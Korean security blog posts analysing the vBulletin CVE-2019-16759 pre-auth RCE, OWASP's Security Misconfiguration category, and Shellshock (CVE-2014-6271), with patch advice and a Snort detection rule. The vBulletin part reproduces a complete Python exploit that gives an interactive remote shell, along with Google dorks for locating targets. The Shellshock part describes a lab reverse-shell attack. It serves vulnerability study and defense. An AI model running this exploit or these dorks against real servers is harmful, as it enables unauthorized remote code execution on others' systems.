- NVD를 통해 해당 CVE를 확인하면 취약한 버전의 vBulletin에 조작된 요청을 통해 원격 명령 실행이 가능함.

취약한 버전 : vBulletin 5.x ~ 5.5.4
원인 : ajax의 widgetConfig[code] 매개변수를 통해 원격 명령 실행을 허용

 

2.1) 취약점 분석

- 공격자가 조작된 요청을 보낼 경우 취약한 버전의 vBulletin의 동작 순서는 [캡쳐 3]과 같음.

- [캡쳐 3]의 ⑦ 과정을 통해 검증 및 인증 과정 없이 eval() 함수를 동작 시켜 결과를 반환하는 것을 확인할 수 있음.

[캡쳐 3] 동작 과정

2.2) PoC

 

Full Disclosure: vBulletin 5.x 0day pre-auth RCE exploit

 

seclists.org

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

 

[캡쳐 4] 취약점 결과 (https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/)

3. 대응방안

- 보안 패치 적용 (2019/09/25 release)

5.5.2 패치 레벨 1
5.5.3 패치 레벨 1
5.5.4 패치 레벨 1

참고 : https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4422707-vbulletin-security-patch-released-versions-5-5-2-5-5-3-and-5-5-4

 

- 패킷을 분석하여 공격 패턴(ex. "widgetConfig[code]" 등)을 등록하여 탐지 및 차단

<Snort Rule 예시>
alert tcp any any -> any any (msg:"vBulletin RCE_CVE-2019-16759"; sid:1; gid:1; content:"routestring"; nocase; content:"widgetConfig"; nocase; flow:established,to_server; pcre:"/echo[\s|+]shell\_exec/smi";)

[캡쳐 1] https://owasp.org/Top10/A05_2021-Security_Misconfiguration/

보안 설정 오류(Security Misconfiguration)는 설정 오류 또는 잘못된 설정, 미비한 설정으로 인해 발생되는 취약점이다. 최초 설치시 또는 업데이트 시 보안성을 고려하지 않은 설정을 적용하는 경우가 해당된다. 2017년 A04로 소개된 XXE(XML External Entity) 항목이 포함되었다.

대응방안으로는, 애플리케이션 설치 시 기본으로 제공하는 기능, 구성 요소, 문서 및 샘플을 제거한다. 신규 또는 업데이트 시에 적절한 보안 설정이 적용되었는지 검토하고, 검증하는 프로세스를 구현한다. 또한, 보안헤더를 적용해 보안을 강화한다.

 

취약점 유형

애플리케이션에 적절한 보안 강화가 누락되었거나 클라우드 서비스에 대한 권한이 부적절하게 구성된 경우
불필요한 기능이 활성화 또는 설치되어 있는 경우(ex. 불필요한 포트, 서비스, 페이지, 계정 또는 권한)
Default 계정 및 암호가 활성화되어 있으며, 변경되지 않은 경우
오류 메시지를 통해 어플리케이션 정보가 사용자에게 보여지는 경우
보안 헤더 설정 누락

 

공격 시나리오

[캡쳐 2] 관리자 페이지 노출 (https://blog.naver.com/harang8069/222442475481)

애플리케이션 설치시 기본으로 제공하는 관리자 페이지에 보안 설정 없이 사용하여 외부에 노출되는 경우 공격자가 이용할 수 있다.

 

대응방안

최초 설치 시 불필요한 기능, 구성 요소, 문서 및 샘플 제거
보안 헤더 적용
모든 환경에 대하여 보안 설정을 검토 및 검증하는 프로세스 구현

1. Bash Shell Shock(CVE-2014-6271)

- 리눅스 계열 OS에서 주로 사용하는 GNU Bash에 공격자가 원격에서 악의적인 시스템 명령을 내릴 수 있는 취약점

- 환경변수를 통해 공격자가 원격으로 명령을 실행할 수 있음.

- 현재는 보안패치를 통해 취약점이 제거된 상태

[캡쳐 1] NVD CVE-2014-6271

2. 취약점 분석

2.1) 영향받는 bash 버전

Bash-4.2.45.5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2

2.2) CGI (Common Gateway Interface)

- CGI란 웹서버와 외부 프로그램 사이에서 정보를 주고받는 방법이나 규약을 뜻함.

- 웹 서버와 사용자 프로그램 사이에서 정보를 주고받는  프로그램.

- 서버에 cgi-bin 폴더를 만든 후 내부에 스크립트 파일을 생성, 웹 서버가 CGI를 통해 cgi-bin에 접속 및 파일 실행 후 결과를 클라이언트에 응답.

- 현재는 서버단 스크립트 언어(Server-side Script Language : ASP, JSP, PHP 등)가 활성화되면서 많이 사용되지는 않음.

[캡쳐 2] CGI (https://velog.io/@seanlion/cgi)

- 모든 bash shell이 취약점에 노출되어있는 것이 아닌, 환경변수를 통해 bash를 호출할 수 있는 프로그램이 시스템에 존재할 경우 취약점에 노출되는 것으로, 대표적인 프로그램으로는 CGI가 있음.

2.3) 환경변수

- "자주 사용하는" 혹은 "필요한 변수들을 미리 선언해 놓은 변수"를 뜻함

- export 명령을 통해 선언하며, env 명령을 통해 선언된 전체 환경변수를 확인할 수 있음.

[캡쳐 3] 환경변수 x 선언 및 확인

- 환경변수로 함수를 선언하는 것 또한 가능하며, 함수는 다음과 같이 선언

[캡쳐 4] 환경변수 함수 선언 및 확인

- 만약, 환경변수의 값을 명령을 포함하여 함수와 비슷한 형태로 선언 후 bash 명령어를 통해 초기화할 경우

- 입력 값에 대한 유효성 검증을 하지않는 버그로 인해 명령어까지 환경변수로 등록되며, 이후 해당 변수 실행 시 해당 명령까지 실행되어 취약점이 발생.

[캡쳐 5] 취약점 발생

3. 공격 실습

 

PentesterLab: Learn Web App Pentesting!

This course details the exploitation of the vulnerability CVE-2014-6271. This vulnerability impacts the Bourne Again Shell "Bash". Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface "CGI

pentesterlab.com

3.1) 피해자 환경

IP : 192.168.56.110
bash 버전 : 4.2.45(1)-releasa (i686-pc-linux-gnu)

[캡쳐 6] 취약한 버전의 bash

3.2) 공격자 환경

IP : 192.168.56.102

[캡쳐 7] /cgi-bin/status

- 웹 브라우저의 개발자 도구를 통해 확인해보면, "/cgi-bin/"의 "status" 스크립트를 실행시켜 결과를 반환함.

[캡쳐 8] /cgi-bin/status 결과

- /cgi-bin/status를 이용하는 과정을 악용해 취약점 사용이 가능함.

[캡쳐 9] 리버스쉘

- 공격자는 리버스쉘 연결을 위해 9999포트를 오픈한 후 조작된 요청을 전송함.

[캡쳐 10] 조작된 요청 전송

- 조작된 요청을 전송한 결과 공격자는 쉘을 획득하며 추가적인 명령을 수행할 수 있음.

[캡쳐 11] 공격자의 쉘 획득

- 뿐만아니라 공격자는 임의의 명령을 수행할 수 있음.

[캡쳐 12] ping 명령 및 /etc/passwd 내용 노출

- 와이어샤크를 통해 패킷을 확인해보면 다음과 같음.

[캡쳐 13] 200 응답값 확인

4. 대응방안

- 취약점이 패치된 bash 업데이트 적용.

- 사용하지 않는 CGI 서비스 삭제 또는 관련 서비스 중지

- 패킷을 분석하여 공격 패턴(ex. "() {" 등)을 등록하여 탐지 및 차단

 

참고

 

KISA 한국인터넷진흥원

□ FOCUS  ○ GNU Bash 원격코드실행 취약점 이슈 분석 및 대응방안 4

www.kisa.or.kr

+ Recent posts